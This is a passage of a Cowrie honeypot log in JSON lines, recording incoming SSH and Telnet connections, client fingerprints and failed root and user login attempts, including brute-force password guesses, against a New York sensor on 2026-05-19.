lowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.512681Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37700,"dst_ip":"10.17.0.5","dst_port":22,"session":"af49e50ce701","protocol":"ssh","message":"New connection: 194.59.206.2:37700 (10.17.0.5:22) [session: af49e50ce701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.806675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.816835Z","src_ip":"194.59.206.2","session":"af49e50ce701","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:3c:f8:51:6b:ab:33:a6:b5:ab:b6:9b:a9:61:00:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv1blcbh/qrsR2B1Bke7nt90LjfZUnJvlnpFZ96eMLi3bB6r4Bfdlb+0L42AbXwxSM8x8ZUzLWd3COz8BfajSrv8eH9d766ARVSy4Ak0t5JHPLthXwxqY57YDb69Y24d+RRWw7P5Awr/wvNnod7bUFFNBNI6ORHazGZuob2/XjeoBukRn/RUiiKU617jRf/DfyDfBXBkKoSMbJCLmjpqiOcuGfUUYT1FcbJJag9rs6F24FCyLrLR3fASfxhWjmrTUBZb0rbv2Y8jHIcOJc2gyNFd+ksFIUjnnKjzbvuk1OqYWsprYWIcSEYqYbxLg8jGUyvby98BUdlvD3N3ynX4vYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:3c:f8:51:6b:ab:33:a6:b5:ab:b6:9b:a9:61:00:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.828882Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:3c:f8:51:6b:ab:33:a6:b5:ab:b6:9b:a9:61:00:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv1blcbh/qrsR2B1Bke7nt90LjfZUnJvlnpFZ96eMLi3bB6r4Bfdlb+0L42AbXwxSM8x8ZUzLWd3COz8BfajSrv8eH9d766ARVSy4Ak0t5JHPLthXwxqY57YDb69Y24d+RRWw7P5Awr/wvNnod7bUFFNBNI6ORHazGZuob2/XjeoBukRn/RUiiKU617jRf/DfyDfBXBkKoSMbJCLmjpqiOcuGfUUYT1FcbJJag9rs6F24FCyLrLR3fASfxhWjmrTUBZb0rbv2Y8jHIcOJc2gyNFd+ksFIUjnnKjzbvuk1OqYWsprYWIcSEYqYbxLg8jGUyvby98BUdlvD3N3ynX4vYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.832397Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.898481Z","src_ip":"194.59.206.2","session":"af49e50ce701","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:82:66:3e:8d:90:6f:1e:97:7a:69:a7:02:f0:40:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscK8/RrKNUP+WLb1mOrwNFrNBiCy42M5DMu2cpap/Qbc06VASlNxWEHTajPWQoDE6rffrWD9uSRqqZDcUq+TKz7tZyLCSILrfb/4I5SzDGoS4jMAFc37Euib2wuShsVXeyeXYX6rVTxQ0RLnk5OZy2K2mBWzcQku3NH1XEgvlVvBfNuEecCXntSn7PPyWuRO7ioddbar/8cTSQMccksfcsXGkp9f63nA3PQ9X7P3u9Jxrm2963sdQmaMQLY9RnbU+GGfKXA/T4D7gYdm0t8c2c8wXrpBd/aVUm6lBgrY30PrRZpq7Y5KzLzWeHaBzGl9IrPr/b6Qw7RmBkQm0Wo6cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:82:66:3e:8d:90:6f:1e:97:7a:69:a7:02:f0:40:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.907136Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:82:66:3e:8d:90:6f:1e:97:7a:69:a7:02:f0:40:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAscK8/RrKNUP+WLb1mOrwNFrNBiCy42M5DMu2cpap/Qbc06VASlNxWEHTajPWQoDE6rffrWD9uSRqqZDcUq+TKz7tZyLCSILrfb/4I5SzDGoS4jMAFc37Euib2wuShsVXeyeXYX6rVTxQ0RLnk5OZy2K2mBWzcQku3NH1XEgvlVvBfNuEecCXntSn7PPyWuRO7ioddbar/8cTSQMccksfcsXGkp9f63nA3PQ9X7P3u9Jxrm2963sdQmaMQLY9RnbU+GGfKXA/T4D7gYdm0t8c2c8wXrpBd/aVUm6lBgrY30PrRZpq7Y5KzLzWeHaBzGl9IrPr/b6Qw7RmBkQm0Wo6cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.910811Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:99:27:e6:28:5c:01:14:0a:f5:8d:5c:eb:2c:d0:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPNUucXz4ENM1KTaw1htzkoZydZemzaOSu9xEidm5RUnCH4N7S6G/PBVTaYiYHsOyd9ISBJrijMqLhfV9/gZU59YOxTnXhymcbP5ywmVoySN055gipLmVRUV7W0KczIXZzLBgcjSMkWvHvtAIFiCiRNwGBIDTrAHoE2UvAyVV8/ptDnIMp/JVViUFJwO4Wq/irg7Qaj6DLoPCwRH7k3ir57opHQldkSxl3uggNl6HSejyu7BNzkaYBN3lWsqs+nARaqBrI/emzRy/1P9C1uzxgMp90iaZMXh2wOb/NcCzZhFudzMPI/BtLZP243EkEZUue2lH0N6Ny200IO17R99J7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:99:27:e6:28:5c:01:14:0a:f5:8d:5c:eb:2c:d0:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.980796Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:99:27:e6:28:5c:01:14:0a:f5:8d:5c:eb:2c:d0:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPNUucXz4ENM1KTaw1htzkoZydZemzaOSu9xEidm5RUnCH4N7S6G/PBVTaYiYHsOyd9ISBJrijMqLhfV9/gZU59YOxTnXhymcbP5ywmVoySN055gipLmVRUV7W0KczIXZzLBgcjSMkWvHvtAIFiCiRNwGBIDTrAHoE2UvAyVV8/ptDnIMp/JVViUFJwO4Wq/irg7Qaj6DLoPCwRH7k3ir57opHQldkSxl3uggNl6HSejyu7BNzkaYBN3lWsqs+nARaqBrI/emzRy/1P9C1uzxgMp90iaZMXh2wOb/NcCzZhFudzMPI/BtLZP243EkEZUue2lH0N6Ny200IO17R99J7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.983875Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:26:95:eb:04:b8:6c:00:90:c5:9b:b8:16:b8:3a:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6oFPm2OUJTIkflrL7+ePOnFptISVlhHkvC6L2EOEDEPGc0Xejyoh6DmEFuvz6AoxJ3Qcwb5KKu37FVBgjOaTs+uCFIoZbtkE17Dd+0BZtlZ3UKwthcGsengreVplqJ/5/gYQFdYQS5dpmCrCrpNuyK5pLWVEK1E+/K77dx6K353/FA8cP3KNg+5bKJ/DaJTH/M80JdvmI/U/CGnoFU7cO7wXj0c+Fo/j4kwu4rhVfJ1SWw8Zo+t6ul3Hfyarv2CNxp9kYLYBmZts6GZ5Iw3Cg4qQjViKDWk7VRcdsCeyyUmrT7YSFFGOzSMnQlqhLyYZ2hqxGwxbwiZrn4SYOwkn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:26:95:eb:04:b8:6c:00:90:c5:9b:b8:16:b8:3a:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.052144Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:26:95:eb:04:b8:6c:00:90:c5:9b:b8:16:b8:3a:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA6oFPm2OUJTIkflrL7+ePOnFptISVlhHkvC6L2EOEDEPGc0Xejyoh6DmEFuvz6AoxJ3Qcwb5KKu37FVBgjOaTs+uCFIoZbtkE17Dd+0BZtlZ3UKwthcGsengreVplqJ/5/gYQFdYQS5dpmCrCrpNuyK5pLWVEK1E+/K77dx6K353/FA8cP3KNg+5bKJ/DaJTH/M80JdvmI/U/CGnoFU7cO7wXj0c+Fo/j4kwu4rhVfJ1SWw8Zo+t6ul3Hfyarv2CNxp9kYLYBmZts6GZ5Iw3Cg4qQjViKDWk7VRcdsCeyyUmrT7YSFFGOzSMnQlqhLyYZ2hqxGwxbwiZrn4SYOwkn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.056047Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.077963Z","src_ip":"194.59.206.2","session":"af49e50ce701","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:f5:c2:41:da:61:ee:77:7d:8c:3f:b0:e7:6b:c6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIlShTuAh6SHzSBxZjF99D7rCLjIkr78LiKcRlbnUl1cctxcUqhvS3FnMbjnTCIR7jLprCn3629EGwAeAE03Hsf3XKOBQ0LlGUyf6STwYXeBB5rjanm1uK/G4koNYzV7lDdI4ScihCe4alQaJ1WEKv9oTydHDSsW2RHaRv9xdKvhb7/Z7L25f4Vvm0kL5bjqj3hLvQPcundJVoObEYuMs4XKxLl36pN8TumHxf5ZO6ORNK7FjSNgmFX0eXtQrvMKtZ2TB+EJfoUqt2E3b5b8LoUQPw4ElD4CzUYHsbvRlVdcSZ6DgQmBuuAFrLwThndU5sGukt94VtGJTK6q3ao8nHFgbufz+S5j608MLt48tgNzWyqyjAEm3v4L16tCS05otbriONhGIYiT5a4UzDedpgfs9dyECRWckjdP/QsfQP4cIiCalPBv94ABm5Mx0L2V338W3oiAApewTv+RLjZZBvUzuPxPyzmwrG/N518+EhBoo2/qPlUHho6UxHYSHp81NJziwg7S4rwnoozYL0sGkJUckkdQ6aC7jX85l+P7u9mG2hQOljb0S8uI5te6LfEOlbfayJ+tsFihNEBRoU9FsZPi0muQm9euUNEleYTbggw5fr70746TG0XHW5+ORQTUENAnu3hIH/CnNbWKurZAuPAliQ7s3roSwVHb21w7Ianw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:f5:c2:41:da:61:ee:77:7d:8c:3f:b0:e7:6b:c6:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.126416Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:f5:c2:41:da:61:ee:77:7d:8c:3f:b0:e7:6b:c6:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIlShTuAh6SHzSBxZjF99D7rCLjIkr78LiKcRlbnUl1cctxcUqhvS3FnMbjnTCIR7jLprCn3629EGwAeAE03Hsf3XKOBQ0LlGUyf6STwYXeBB5rjanm1uK/G4koNYzV7lDdI4ScihCe4alQaJ1WEKv9oTydHDSsW2RHaRv9xdKvhb7/Z7L25f4Vvm0kL5bjqj3hLvQPcundJVoObEYuMs4XKxLl36pN8TumHxf5ZO6ORNK7FjSNgmFX0eXtQrvMKtZ2TB+EJfoUqt2E3b5b8LoUQPw4ElD4CzUYHsbvRlVdcSZ6DgQmBuuAFrLwThndU5sGukt94VtGJTK6q3ao8nHFgbufz+S5j608MLt48tgNzWyqyjAEm3v4L16tCS05otbriONhGIYiT5a4UzDedpgfs9dyECRWckjdP/QsfQP4cIiCalPBv94ABm5Mx0L2V338W3oiAApewTv+RLjZZBvUzuPxPyzmwrG/N518+EhBoo2/qPlUHho6UxHYSHp81NJziwg7S4rwnoozYL0sGkJUckkdQ6aC7jX85l+P7u9mG2hQOljb0S8uI5te6LfEOlbfayJ+tsFihNEBRoU9FsZPi0muQm9euUNEleYTbggw5fr70746TG0XHW5+ORQTUENAnu3hIH/CnNbWKurZAuPAliQ7s3roSwVHb21w7Ianw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.129829Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:27.199255Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.01872277259827,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:29.599563Z","src_ip":"192.119.13.58","session":"6d029256f9b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8343,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4c0d6a333f1","protocol":"ssh","message":"New connection: 2.57.121.25:8343 (159.203.135.109:22) [session: b4c0d6a333f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:00.275467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:00.281502Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:00.384399Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130484","message":"login attempt [user/130484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:00.861251Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130383","message":"login attempt [user/130383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:01.965853Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130286","message":"login attempt [user/130286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:03.072599Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13011995","message":"login attempt [user/13011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:04.177188Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13011994","message":"login attempt [user/13011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:05.281942Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:06.386973Z","src_ip":"2.57.121.25","session":"b4c0d6a333f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58192,"dst_ip":"10.17.0.5","dst_port":23,"session":"f68f08a5774b","protocol":"telnet","message":"New connection: 192.119.13.58:58192 (10.17.0.5:23) [session: f68f08a5774b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:18.643059Z"}
{"eventid":"cowrie.session.closed","duration":0.0055294036865234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:18.648471Z","src_ip":"192.119.13.58","session":"f68f08a5774b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"5916b08b2120","protocol":"ssh","message":"New connection: 87.251.79.125:53602 (159.203.135.109:22) [session: 5916b08b2120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:34.036618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:34.040572Z","src_ip":"87.251.79.125","session":"5916b08b2120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:34.112413Z","src_ip":"87.251.79.125","session":"5916b08b2120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michelle","message":"login attempt [root/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:34.330593Z","src_ip":"87.251.79.125","session":"5916b08b2120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:35.406690Z","src_ip":"87.251.79.125","session":"5916b08b2120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36750,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1c4319ca8e","protocol":"ssh","message":"New connection: 103.195.236.96:36750 (159.203.135.109:22) [session: 8f1c4319ca8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:39.725158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:39.729909Z","src_ip":"103.195.236.96","session":"8f1c4319ca8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:14:40.072543Z","src_ip":"103.195.236.96","session":"8f1c4319ca8e","protocol":"ssh"}
